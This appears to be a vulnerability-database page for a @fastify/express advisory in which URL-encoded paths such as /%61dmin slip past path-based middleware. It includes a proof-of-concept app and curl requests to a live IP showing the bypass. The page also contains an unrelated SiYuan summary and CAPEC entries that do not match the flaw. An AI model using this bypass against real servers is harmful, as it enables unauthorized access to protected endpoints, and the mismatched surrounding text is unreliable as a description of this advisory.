SiYuan versions before v3.7.3 contain an authentication bypass vulnerability in publish mode where content-returning endpoints getHeadingChildrenDOM, getHeading*Transaction, and getBacklinkDoc perform no password check despite protecting the primary getDoc endpoint. Anonymous attackers can retrieve full content of password-protected documents by obtaining internal block IDs from reader-accessible endpoints and calling unprotected content endpoints to bypass the password gate.

GHSA-G6Q3-96CP-5R5M

Vulnerability from github – Published: 2026-01-20 16:35 – Updated: 2026-01-20 16:35
VLAI
Summary
@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
Details

Summary

A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details

The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() {
  // Register fastify-express for Express-style middleware support
  await fastify.register(require('@fastify/express'));

  // Middleware to block /admin route
  fastify.use('/admin', (req, res, next) => {
    res.statusCode = 403;
    res.end('Forbidden: Access to /admin is blocked');
  });

  // Sample routes
  fastify.get('/', async (request, reply) => {
    return { message: 'Welcome to the homepage' };
  });

  fastify.get('/admin', async (request, reply) => {
    return { message: 'Admin panel' };
  });

  fastify.get('/admin/dashboard', async (request, reply) => {
    return { message: 'Admin dashboard' };
  });

  // Start server
  try {
    await fastify.listen({ port: 3000 });
  } catch (err) {
    fastify.log.error(err);
    process.exit(1);
  }
}

start();

Step 2: Execute the attack.

➜  ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>

(fastify express)

➜  ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}

It differs from CVE-2026-22031 because this is a different npm module with its own code.

  "details": "### Summary\nA security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths.\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n\n```javascript\nconst fastify = require(\u0027fastify\u0027)({ logger: true });\n\nasync function start() {\n  // Register fastify-express for Express-style middleware support\n  await fastify.register(require(\u0027@fastify/express\u0027));\n\n  // Middleware to block /admin route\n  fastify.use(\u0027/admin\u0027, (req, res, next) =\u003e {\n    res.statusCode = 403;\n    res.end(\u0027Forbidden: Access to /admin is blocked\u0027);\n  });\n\n  // Sample routes\n  fastify.get(\u0027/\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Welcome to the homepage\u0027 };\n  });\n\n  fastify.get(\u0027/admin\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Admin panel\u0027 };\n  });\n\n  fastify.get(\u0027/admin/dashboard\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Admin dashboard\u0027 };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3000 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n\n```\n\u279c  ~ curl http://206.189.140.29:3000/%61dmin\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003ctitle\u003eError\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre\u003eCannot GET /%61dmin\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n(fastify express)\n\n\u279c  ~ curl http://206.189.140.29:3000/%61dmin\n{\"message\":\"Admin panel\"}\n```\n\nIt differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.",

Mitigation
Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
